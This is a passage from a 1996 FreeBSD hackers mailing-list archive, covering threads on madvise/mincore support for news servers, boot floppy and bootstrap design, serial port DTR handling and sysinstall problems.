(and of course I can take the fault hit if I get tired of waiting too long). Or, I would like to defeat caching of file data that I _know_ has an extremely low probability of being hit again within a useful timeframe (MADV_DONTNEED), in order to help increase the likelihood of very _useful_ data still being in the cache. (think: "news server"). One answer is to get more RAM and lock everything I really want in memory. That is echhhhy given the amount of RAM I would have to buy. It would be much cooler if I could just drop hints to the VM system like I can on Slowaris. I realize that there is no _guarantee_ that any OS has to listen to the hints, but it has a tendency to make certain programs more efficient, particularly when dealing with large amounts of data on systems with moderate resources. ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Tue May 14 16:49:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA24700 for hackers-outgoing; Tue, 14 May 1996 16:49:46 -0700 (PDT) Received: from ref.tfs.com (ref.tfs.com [140.145.254.251]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id QAA24694 for ; Tue, 14 May 1996 16:49:44 -0700 (PDT) Received: (from julian@localhost) by ref.tfs.com (8.7.3/8.6.9) id SAA04377; Mon, 13 May 1996 18:19:07 -0700 (PDT) Message-Id: <199605140119.SAA04377@ref.tfs.com> Subject: Re: errros on making floppies To: jin@george.lbl.gov (Jin Guojun[ITG]) Date: Mon, 13 May 1996 18:19:07 -0700 (PDT) From: "JULIAN Elischer" Cc: jkh@time.cdrom.com, hackers@freebsd.org In-Reply-To: <199605132356.QAA00758@george.lbl.gov> from "Jin Guojun[ITG]" at May 13, 96 04:56:22 pm X-Mailer: ELM [version 2.4 PL25 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm working on changing the Makefiles in release/ so that each floppy is a subdir and can be made individually, (well at least the important ones (fixit,root)) having such basic functionality tied up so inherently with that spaghetti that is the release code is a probelm here, because we need to be able to know out small boot-disks without doing all the rest of that stuff. doing a make in bin, sbin, usr.sbin and usr.bin is acceptable as the .o's are needed for the crunched binaries, but we don't want to have to cut a whole release.. we'd also like to see a selection of floppies produced during a normal 'make world' and that is my aim.... we'll see how successful I can be in this.... the aim is to produce at least: 1.4MB kernel floppy 1.4MB root floppy with massively crunched stuff. Then, hopefully if that works: a 1.4MB floppy with 'kernel of your choice' pluss a crunched binary with just enough functionality to do what we need. The final stage (if I ever understand all this) is: a floppy with an MFS filesystem with our custom stuff on it > > >> I am trying to figure out why NFS installation fails on our network. > >> When I tried to make floppies I get following errors. Please advice > >> how I can make these floppies. > >> > >> # make boot.flp > > > >You can't _just_ do this step - you need to do an entire make release > >first. > > > > Jordan > From owner-freebsd-hackers Tue May 14 17:30:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA27681 for hackers-outgoing; Tue, 14 May 1996 17:30:29 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id RAA27676; Tue, 14 May 1996 17:30:25 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.7.5/8.6.9) id TAA13410; Tue, 14 May 1996 19:29:58 -0500 (EST) From: "John S. Dyson" Message-Id: <199605150029.TAA13410@dyson.iquest.net> Subject: Re: A question for the VM gurus..! To: jgreco@brasil.moneng.mei.com (Joe Greco) Date: Tue, 14 May 1996 19:29:58 -0500 (EST) Cc: hackers@freebsd.org, dyson@freebsd.org In-Reply-To: <199605142254.RAA11225@brasil.moneng.mei.com> from "Joe Greco" at May 14, 96 05:54:01 pm Reply-To: dyson@freebsd.org X-Mailer: ELM [version 2.4 PL24 ME8] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Summary: curious about the status of madvise/mincore. > > A quick find /usr/src/sys -type f -print | xargs grep MADV reveals that > the MADV constants aren't used anywhere in the kernel (at least on my > 2.1R systems). > > I see madvise and mincore return EOPNOTSUPP. > > Do we have any plans to support this, for those of us who would prefer to > keep our VM systems more informed? > Mincore is supported in current (but only approximately correctly -- it returns which pages are mapped in a process, not actual residency.) It says in essence, which pages don't have to be faulted... I have been planning on fixing that. Perhaps we should implement a more fully featured mincore -- I did some mods for Ron Minnich, and since we have a full byte, we would have 8 bits of info about the pages that we could present :-). I am sure that the API gods would have something to say about that though. (I never liked rules, but they are necessary.) Madvise is on my list (and probably only a few hours of work to do correctly.) If you bug me right before the weekend -- I was planning on going to the Dayton Hamfest, but I don't think I have time now -- I might be able to put something into -current over the weekend... This is a squeaky wheel situation :-). John From owner-freebsd-hackers Tue May 14 18:01:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA29480 for hackers-outgoing; Tue, 14 May 1996 18:01:34 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id SAA29461 for ; Tue, 14 May 1996 18:00:55 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id KAA24644; Wed, 15 May 1996 10:35:34 +0930 From: Michael Smith Message-Id: <199605150105.KAA24644@genesis.atrad.adelaide.edu.au> Subject: Re: Making a three-stage boot To: wpaul@skynet.ctr.columbia.edu (Bill Paul) Date: Wed, 15 May 1996 10:35:34 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, freebsd-hackers@freebsd.org In-Reply-To: <199605141608.MAA02641@skynet.ctr.columbia.edu> from "Bill Paul" at May 14, 96 12:08:57 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Bill Paul stands accused of saying: > > Well, for a couple of reasons. First, generating real mode executables > is hard (we have assembly that starts off in real mode and changes to > protected mode now). Second, the kernel is loaded above 1MB, and you > have to be in protected mode to do that. The second stage bootstrap > accomplishes this by running in protected mode and then switching to > real mode to do BIOS stuff, which is in itself a third reason, namely > don't re-invent the wheel if you can avoid it. :) Not unreasonable. If we can thunk to the BIOS hooks, then I guess it's probably going to be easier to do it that way. > > > - The /boot program is loaded by a second stage bootstrap, which is > > > by design very dumb and limited in function. It has a compiled-in > > > array of disk blocks which tell it where the the /boot program resides > > > on disk. It also has a compiled-in value for the filesystem blocksize, > > > and possibly some other magic values. In essence, this second stage > > > > I think this hardcoding is a Very Bad Idea. > > Well, SunOS has used this scheme successfully for a long time. I happen > to like the idea. *sigh*. If all you're thinking about is dedicated FreeBSD machines, then sure, it's probably OK. But you're not going to sell a scheme that requires that sort of arrangement. There are just too many problems that it causes. > But I don't want the code that groks the filesystem in the second > stage bootstrap. The second stage can't be made big enough to have any > fun, which is why we need the third stage. If we're making a third > stage anyway, then it should be the one with all the brains. Also, > ripping out as much non-essential code as possible leaves more room for > the block number array: the more block numbers you can cram in, the > larger a third stage bootstrap you can load. But if you don't _need_ the array in the first place, why put it there? I think the code to handle the filesystem reading is likely to be smaller than the array for anything other than a really small third-stage bootstrap anyway. > The installboot program can patch in block numbers for /boot no matter > where it's located (well, unless it's past the 1024th cylinder, of > course). Also, I seem to recall people clamoring for a way to stamp disks > in such a way as to be able to relate the DOS/BIOS drive ID to FreeBSD's > notion of drive IDs (controller/unit). You could use installboot to patch > this info into the bootstrap. # installboot Please list all disk devices from which you might ever want to boot: No thanks. > Yes you have to change it if you change your machine configuration. > Well, hey: life is tough. Great. I don't see you on -questions everyday 8( This sort of deal would generate an absolute plethora of support issues. > > Alternatively, put the block information in the first part of the 'boot' > > program. If you were to use the first 512 bytes, and allow 32 bits per > > physical block, you could map a 64K file. This means that any bootstrap > > can use the boot program, not just one written to explicitly know where > > it is. (Think using a second-stage bootstrap off a floppy). > > In my current prototype, I have an array of 768 unsigned ints reserved > for block numbers. With a blocksize of 4K, this allows me to reference > something like 3 MB of data, which is more than you could fit on a > floppy anyway. With an 8K blocksize (the default for disk partitions) > this goes up to 6 MB. You're not handling bad144 forwarding then I presume? If you want to get around that, you'll need to list individual physical block numbers, not FS block numbers. (You can save space by listing start blocks and run lengths...) And using FS block numbers means you need to have slice and partition intelligence in the bootstrap. Why not the minimal extra to read filesystem data as well? Or go to the other extreme and not bother? > I plan to leave the 'twiddle' function in so that you can see it > trying to load sectors. The only errors it can signal are disk read > failures: remember that it isn't searching for anything -- it knows > exactly where /boot is. I don't buy that scheme. And it _still_ should report where it's loading from, given that it will have to know the slice and partition. > > Obviously then we move userconfig() into 'boot', and have it be able to > > read configurations out of kernels. > > Argh. No. Please. One catastrophe at a time, okay? Next you'll be telling > me to add devfs support to it, and then I'll be forced to shoot you. What's the point of a third-stage bootstrap then? You hardcode its location into the second-stage bootstrap, so that if anything at all changes the system can't be booted at all, and then you move all the functionality that the second-stage bootstrap had into the third stage. How about we add a few more stages just to stretch the whole thing out longer? The only real justification for a third-stage bootstrap is to move some of the boot-time cruft out of the kernel and the interactive stuff out of the second stage. userconfig(), kzip and the 'which kernel' selection are all obvious candidates. We'll talk about boot-time linking the kernel some other day; you could use it to do the boot-time driver probe/load stuff that Terry and I were musing about a while back. > > It probably wants to be PIC or possibly loaded somewhere lowish like > > 2000:0. You'll want to consider whether 'boot' will be loaded by the > > 'fbsdboot.exe' program, or whether 'boot's functionality will be > > incorporated into it. Also consider those that use the Linix 'lilo' > > tool. > > PIC? Hm... the existing bootstrap isn't compiled PIC. That would > imply runtime relocation hackery, no? No, PIC is Position Independent Code. ie. it doesn't give a damn where it is. You'd have to provide it with a suitable stack and bss perhaps, depending on whether we outlawed uninitialised globals. (Not sure if you can do that with gcc). The current second-stage bootstrap is actually two parts, boot1 and boot2. boot1 is loaded by the MBR bootstrap at 0x0:0x7c00 (see comment at the top of start.s). It loads boot2 at 0x1000:0 (see commend in the Makefile). It'd probably be reasonable to load 'boot' at 0x2000:0, given this. > To have it loaded by fbsdboot.exe, it would have to be similar to a > stripped down kernel. This is not a bad idea, but again I haven't > the slightest idea how to do it. The fbsdboot code is built by (ugh) MSVC--. > > If it's in real mode, you just do a far jump to it. You'll need to work > > out who's responsible for ss and ds, and get this clear with the compiler > > too. > > But it isn't going to be in real mode. But it _will_ be entered in real mode. Look at boot2.S (ignore for now the BDE_DEBUGGER stuff) for how to manage this. > -Bill Paul (212) 854-6020 | System Manager -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue May 14 18:23:09 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA00656 for hackers-outgoing; Tue, 14 May 1996 18:23:09 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA00647 for ; Tue, 14 May 1996 18:23:06 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id SAA00404 for ; Tue, 14 May 1996 18:23:05 -0700 Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id LAA24784; Wed, 15 May 1996 11:01:17 +0930 From: Michael Smith Message-Id: <199605150131.LAA24784@genesis.atrad.adelaide.edu.au> Subject: Re: sending email using netscape? To: rich@lamprey.utmb.edu Date: Wed, 15 May 1996 11:01:16 +0930 (CST) Cc: hackers@freebsd.org In-Reply-To: <199605142008.PAA04476@richc.isdn.bcm.tmc.edu> from "Rich Murphey" at May 14, 96 03:08:07 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Rich Murphey stands accused of saying: > > Does anyone successfully use Netscape to send email? Yup. > When I hit 'send' it reports 'Netscape is out of > memory. Try quitting some other applications or closing > some windows'. All the bsdi and linux versions > avilable do this for me on FreeBSD-stable. Weird. Given that it's almost impossible to 'run out of memory' on a BSD system (normally you'd get an 'out of swap space' error from the kernel, followed by things being killed off to make some space) > ktrace shows netscape successfully connecting to the > smtp server and sending/recieving everything from smtp > server correctly upto the point the the body of the > message should be sent, but it stops there. Rich Sounds like one to take up with Netscape - which version is this? -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue May 14 18:43:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA01713 for hackers-outgoing; Tue, 14 May 1996 18:43:03 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id SAA01704 for ; Tue, 14 May 1996 18:42:59 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id LAA24984; Wed, 15 May 1996 11:22:31 +0930 From: Michael Smith Message-Id: <199605150152.LAA24984@genesis.atrad.adelaide.edu.au> Subject: Re: svgalib for current? (and doscmd) To: tri@iki.fi Date: Wed, 15 May 1996 11:22:31 +0930 (CST) Cc: hackers@FreeBSD.org In-Reply-To: <199605140722.KAA03712@pooh.tky.hut.fi> from "Timo J Rinne" at May 14, 96 10:22:01 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Timo J Rinne stands accused of saying: > > I wonder if someone has looked into the possibility to port svgalib > (Linux) for FreeBSD. It seems to have some kernel support in Linux, > but I can't really understand what is it needed for. There was a discussion about this a while back, with the ultimate conclusion that SVGAlib was basically bogus. Soren has something more-or-less equivalent on the back burner if you want to talk to him about it (sos@freebsd.org) > BTW, The doscmd project kind of died or what? Too bad. In NetBSD it > is running quite well. I KEEP ASKING FOR VOLUNTEERS FOR THIS, but nobody has picked it up. 8( The NetBSD people have CMH, who doesn't appear to have to work for a living, working on it. We need someone with a -current system and a little free time to work with Sean to track the kernel/userland interaction problems. That's all. > //Rinne -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue May 14 19:04:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA03189 for hackers-outgoing; Tue, 14 May 1996 19:04:46 -0700 (PDT) Received: (from julian@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA03183 for hackers; Tue, 14 May 1996 19:04:42 -0700 (PDT) Date: Tue, 14 May 1996 19:04:42 -0700 (PDT) From: Julian Elischer Message-Id: <199605150204.TAA03183@freefall.freebsd.org> To: hackers Subject: where did fdisk go? Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk if there is a replacement I missed the announcement.. also... the root disk and fixit disk missed the announcement as well as tehy need several programs that have 'disappeared' to really build... personally I think that fdisk was a terrible kludge but I haven't seen a replacement yet, and need it.. julian From owner-freebsd-hackers Tue May 14 19:24:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA04739 for hackers-outgoing; Tue, 14 May 1996 19:24:48 -0700 (PDT) Received: from whistle.com ([207.76.205.131]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA04732 for ; Tue, 14 May 1996 19:24:45 -0700 (PDT) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id TAA03337 for ; Tue, 14 May 1996 19:24:14 -0700 (PDT) X-Authentication-Warning: whistle.com: smap set sender to using -f Received: from shrimp.whistle.com(207.76.205.74) by whistle.com via smap (V1.3) id sma003335; Tue May 14 19:23:54 1996 Received: (from julian@localhost) by shrimp.whistle.com (8.6.12/8.6.12) id TAA00554 for hackers@freebsd.org; Tue, 14 May 1996 19:23:54 -0700 Date: Tue, 14 May 1996 19:23:54 -0700 From: Julian Elischer Message-Id: <199605150223.TAA00554@shrimp.whistle.com> To: hackers@freebsd.org Subject: missing programs from CRUNCH files Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In attempting to re-make the makefiles that make the various floppies, I have found that the following programs are referenced bet seem to have disappeared, or that people have stuffed around with them in some way and broken the CRUNCH definitions for the fixit or root or boot floppies.. ft fdisk sysinstall (I might justhave the wrong place for this) mount_msdos grep grep seems to have become egrep by dint of having just having a subdir of egrep.. obviously crunch doen't 'GET' this subtle point.. anyone have comments? julian From owner-freebsd-hackers Tue May 14 19:56:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA07471 for hackers-outgoing; Tue, 14 May 1996 19:56:23 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA07461; Tue, 14 May 1996 19:56:14 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id VAA11471; Tue, 14 May 1996 21:55:42 -0500 From: Joe Greco Message-Id: <199605150255.VAA11471@brasil.moneng.mei.com> Subject: Re: A question for the VM gurus..! To: dyson@freebsd.org Date: Tue, 14 May 1996 21:55:42 -0500 (CDT) Cc: hackers@freebsd.org In-Reply-To: <199605150029.TAA13410@dyson.iquest.net> from "John S. Dyson" at May 14, 96 07:29:58 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi John, > Mincore is supported in current (but only approximately correctly -- it returns > which pages are mapped in a process, not actual residency.) It says in essence, > which pages don't have to be faulted... I have been planning on fixing that. I think I'm going to have to reveal my stupidity here. :-( I do not understand your statement. I would assume that "pages [that] are mapped in a process... [and] ...don't have to be faulted" would necessarily have to be resident. I have (perhaps) a simplistic understanding of how a VM system works. You have a table of pages, which your memory manager arranges into a virtual address space. Accesses to a resident page resolve to a physical memory address thanks to the MMU. Accesses to a nonresident (virtual) page results in a fault, trapped into the OS, the OS fetches the page (from a file, swap, executable, whatever) into a free page, and updates the MMU page table, and you now access it as a resident page. Perhaps a gross oversimplification, I realize, but I am trying to understand your statement, and from my understanding, it is a contradiction :-) If mincore returns "which pages are mapped in a process, not actual residency", I would expect that mincore reports true for every page in the process... (I think this is the statement I am misunderstanding). However, I would expect that "it says in essence which pages don't have to be faulted". Now I'm confused. :-) Maybe it's my SunOS background that is frying my brain. Clarification or a reference to some documentation or a good book on the topic would be appreciated ;-) > Perhaps we should implement a more fully featured mincore -- I did some > mods for Ron Minnich, and since we have a full byte, we would have 8 bits > of info about the pages that we could present :-). I am sure that the > API gods would have something to say about that though. (I never liked > rules, but they are necessary.) > > Madvise is on my list (and probably only a few hours of work to do correctly.) > If you bug me right before the weekend -- I was planning on going to the Dayton > Hamfest, but I don't think I have time now -- I might be able to put something > into -current over the weekend... This is a squeaky wheel situation :-). Understood.. well, let me explain more fully what I am looking at. Usenet news imposes some really interesting challenges on a system engineer. Maintaining a few million articles of varying lengths and having a few hundred clients simultaneously accessing it is a nifty puzzle. Each reader gets a separate process, and you rapidly consume all available resources :-) Now given 200 readers and 2,000,000 articles, the likelihood that any particular reader will access an article that someone else has recently read is fairly low. This data is ripe for being discarded ASAP, and it would be handy to tag these pages as "noncacheable" or "cacheable but VERY discardable". True, currently file accesses are file the open()/close() interface, but it is easy to mmap() the articles instead. Further, I can even mark the pages as MADV_SEQUENTIAL (only useful on large articles I would think), although I don't know how useful this hint would be to the VM system. My other "pet project" requires a functional mincore() - the history file on a large news server may be 150-200MB, and I would like to create a daemon to handle history lookup requests. The file can be mapped and marked with MADV_RANDOM, and when a request comes in requiring a particular bit of data, pages that are found to be !mincore() can be marked with MADV_WILLNEED to ask the VM system to bring them in, while the code goes on to service other requests. I am trying to allow the process to spin through its connection list as rapidly as possible, and with 64MB or 128MB RAM, you can hopefully see how this would be very efficient (from an overall viewpoint). ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Tue May 14 19:57:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA07526 for hackers-outgoing; Tue, 14 May 1996 19:57:07 -0700 (PDT) Received: from gateway.cybernet.com (gateway.cybernet.com [192.245.33.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id TAA07520 for ; Tue, 14 May 1996 19:57:02 -0700 (PDT) Received: from spiffy.cybernet.com (spiffy.cybernet.com [192.245.33.55]) by gateway.cybernet.com (8.6.12/8.6.12) with SMTP id WAA14510 for ; Tue, 14 May 1996 22:59:17 -0400 Message-ID: X-Mailer: XFMail 0.4-beta [p0] on FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Tue, 14 May 1996 22:53:48 -0400 (EDT) Organization: Cybernet Systems Corporation From: (Mark J. Taylor) To: hackers@freebsd.org Subject: sio setbaud problem Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk When my software sets the baud rate, the DTR is automatically asserted. I see that in /sys/i386/isa/sio.c:comparam() that if the divisor is not zero, then the DTR gets set ON, otherwise it gets set OFF. Is this behavior an "indusrty standard", "POSIX compliance", or whatever? I'm curoius about the reasoning behind this, because I have to use the DTR to control a remote device. This device change change its baud rate to up to 115.2 kbps, but the default baud rate is 9600 bps (there's a command sent to it to change its baud rate, and setting the DTR causes the device to reset). So, what I want to know is- Will I have this problem with other operating systems? Do they set the DTR to ON whenever the baud rate is set? (I seem to be having a problem using the RTS as a replacement- the status of it does not change, even though I've set CRTS_IFLOW off in the c_cflag. TIOCMGET tells me the RTS is being set, but the hardware does not reflect that.) Thanks, as always, for a decent, stable, outstanding OS! -Mark Taylor mtaylor@cybernet.com From owner-freebsd-hackers Tue May 14 20:24:33 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA09290 for hackers-outgoing; Tue, 14 May 1996 20:24:33 -0700 (PDT) Received: from mail0.iij.ad.jp (root@mail0.iij.ad.jp [192.244.176.61]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id UAA09282 for ; Tue, 14 May 1996 20:24:30 -0700 (PDT) Received: from uucp1.iij.ad.jp (uucp1.iij.ad.jp [192.244.176.73]) by mail0.iij.ad.jp (8.6.12+2.4W/3.3W9-MAIL) with ESMTP id MAA01329 for ; Wed, 15 May 1996 12:24:20 +0900 Received: (from uucp@localhost) by uucp1.iij.ad.jp (8.6.12+2.4W/3.3W9-UUCP) with UUCP id MAA16423 for hackers@freebsd.org; Wed, 15 May 1996 12:24:20 +0900 Received: from xxx.fct.kgc.co.jp by yyy.kgc.co.jp (8.7.5/3.4W:95122611) id MAA15640; Wed, 15 May 1996 12:00:18 +0900 (JST) Received: from localhost by xxx.fct.kgc.co.jp (8.6.12/3.3W8:95062916) id MAA08050; Wed, 15 May 1996 12:00:17 +0900 Message-Id: <199605150300.MAA08050@xxx.fct.kgc.co.jp> To: hackers@freebsd.org Subject: Does /stand/sysinstall overwrite existing system? Date: Wed, 15 May 1996 12:00:16 +0900 From: Toshihiro Kanda Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I wonder if my previous mail was lost; sorry if you read the folloings again. I'm running FreeBSD 2.1 in sd1. There's an unformatted disk in sd0. I wanted to install FreeBSD 2.2-960501 into sd0 by /stand/sysinstall (which is in sd1). I selected only `[X] sd0' in the `Select Drive(s)' dialog, then continued. Unfortunately, it stopped while processing `Extacting bin into / directry...' When I rebooted the machine, /etc or /bin directories in sd1 was overwritten by 2.2-snap so none can login anymore. Is this the expected behavior for sysinstall, or bug? Is it possible to install a new system into sd0 by /stand/sysinstall in sd1? candy@fct.kgc.co.jp (Toshihiro Kanda) From owner-freebsd-hackers Tue May 14 21:16:01 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA13778 for hackers-outgoing; Tue, 14 May 1996 21:16:01 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id VAA13762; Tue, 14 May 1996 21:15:56 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.7.5/8.6.9) id XAA19042; Tue, 14 May 1996 23:15:29 -0500 (EST) From: "John S. Dyson" Message-Id: <199605150415.XAA19042@dyson.iquest.net> Subject: Re: A question for the VM gurus..! To: jgreco@brasil.moneng.mei.com (Joe Greco) Date: Tue, 14 May 1996 23:15:29 -0500 (EST) Cc: dyson@freebsd.org, hackers@freebsd.org In-Reply-To: <199605150255.VAA11471@brasil.moneng.mei.com> from "Joe Greco" at May 14, 96 09:55:42 pm X-Mailer: ELM [version 2.4 PL24 ME8] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Hi John, > > > Mincore is supported in current (but only approximately correctly -- it returns > > which pages are mapped in a process, not actual residency.) It says in essence, > > which pages don't have to be faulted... I have been planning on fixing that. > > I think I'm going to have to reveal my stupidity here. :-( > YOU ARE NOT STUPID :-). > > I do not understand your statement. I would assume that "pages [that] are > mapped in a process... [and] ...don't have to be faulted" would necessarily > have to be resident. > What you say is right, but there are pages that are resident that are NOT mapped into the process address space. The VM system doesn't modify the pte's until the process faults them. (That is not strictly true, but is true in the case that I think that you are talking about.) So what I was trying to say is that mincore would miss some of those pages that are really in memory. > > Now given 200 readers and 2,000,000 articles, the likelihood that any > particular reader will access an article that someone else has recently read > is fairly low. This data is ripe for being discarded ASAP, and it would be > handy to tag these pages as "noncacheable" or "cacheable but VERY > discardable". True, currently file accesses are file the open()/close() > interface, but it is easy to mmap() the articles instead. Further, I can > even mark the pages as MADV_SEQUENTIAL (only useful on large articles I > would think), although I don't know how useful this hint would be to the VM > system. > How's about an ioctl or somesuch as a hint to the filesystem so that when a file is closed, it's pages (or object), is marked somehow for quick reuse (freeing?) You then could keep the read/write code, but an ioctl (or fcntl) could be issued to change the behavior. (Note that I still plan to do the madvise thing though :-)). > My other "pet project" requires a functional mincore() - the history file on > a large news server may be 150-200MB, and I would like to create a daemon to > handle history lookup requests. The file can be mapped and marked with > MADV_RANDOM, and when a request comes in requiring a particular bit of data, > pages that are found to be !mincore() can be marked with MADV_WILLNEED to > ask the VM system to bring them in, while the code goes on to service other > requests. I am trying to allow the process to spin through its connection > list as rapidly as possible, and with 64MB or 128MB RAM, you can hopefully > see how this would be very efficient (from an overall viewpoint). > MADV_RANDOM would probably implemented by bringing in only one page at a time, instead of a cluster. MADV_WILLNEED is problematical (a bit more difficult) since we don't currently have a way to asynchronously read pages in -- but it wouldn't be very hard. I have been looking into the possiblity of adding kernel threads -- that could help the async VM read problem. John From owner-freebsd-hackers Tue May 14 21:18:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA14022 for hackers-outgoing; Tue, 14 May 1996 21:18:49 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id VAA14017 for ; Tue, 14 May 1996 21:18:47 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id VAA03074 for ; Tue, 14 May 1996 21:17:51 -0700 (PDT) Prev-Resent: Tue, 14 May 1996 21:17:50 -0700 Prev-Resent: "hackers@freebsd.org " Received: from freefall.freebsd.org (jkh-sl0-f.cdrom.com [204.216.27.193]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id MAA02005 for ; Tue, 14 May 1996 12:02:24 -0700 (PDT) Received: from gaia.swip.net (gaia.swip.net [193.12.122.17]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id MAA03257 for ; Tue, 14 May 1996 12:01:55 -0700 (PDT) Received: from dialup105-3-3.swipnet.se (dialup105-3-3.swipnet.se [130.244.105.43]) by gaia.swip.net (8.7.5/8.7.3) with SMTP id VAA17937 for ; Tue, 14 May 1996 21:01:51 +0200 (MET DST) Received: by dialup105-3-3.swipnet.se with Microsoft Mail id <01BB41D8.FF393060@dialup105-3-3.swipnet.se>; Tue, 14 May 1996 21:04:53 +-200 Message-ID: <01BB41D8.FF393060@dialup105-3-3.swipnet.se> From: H Nalen To: "'www@freebsd.org'" Subject: Hello, Date: Tue, 14 May 1996 21:04:21 +-200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Resent-To: 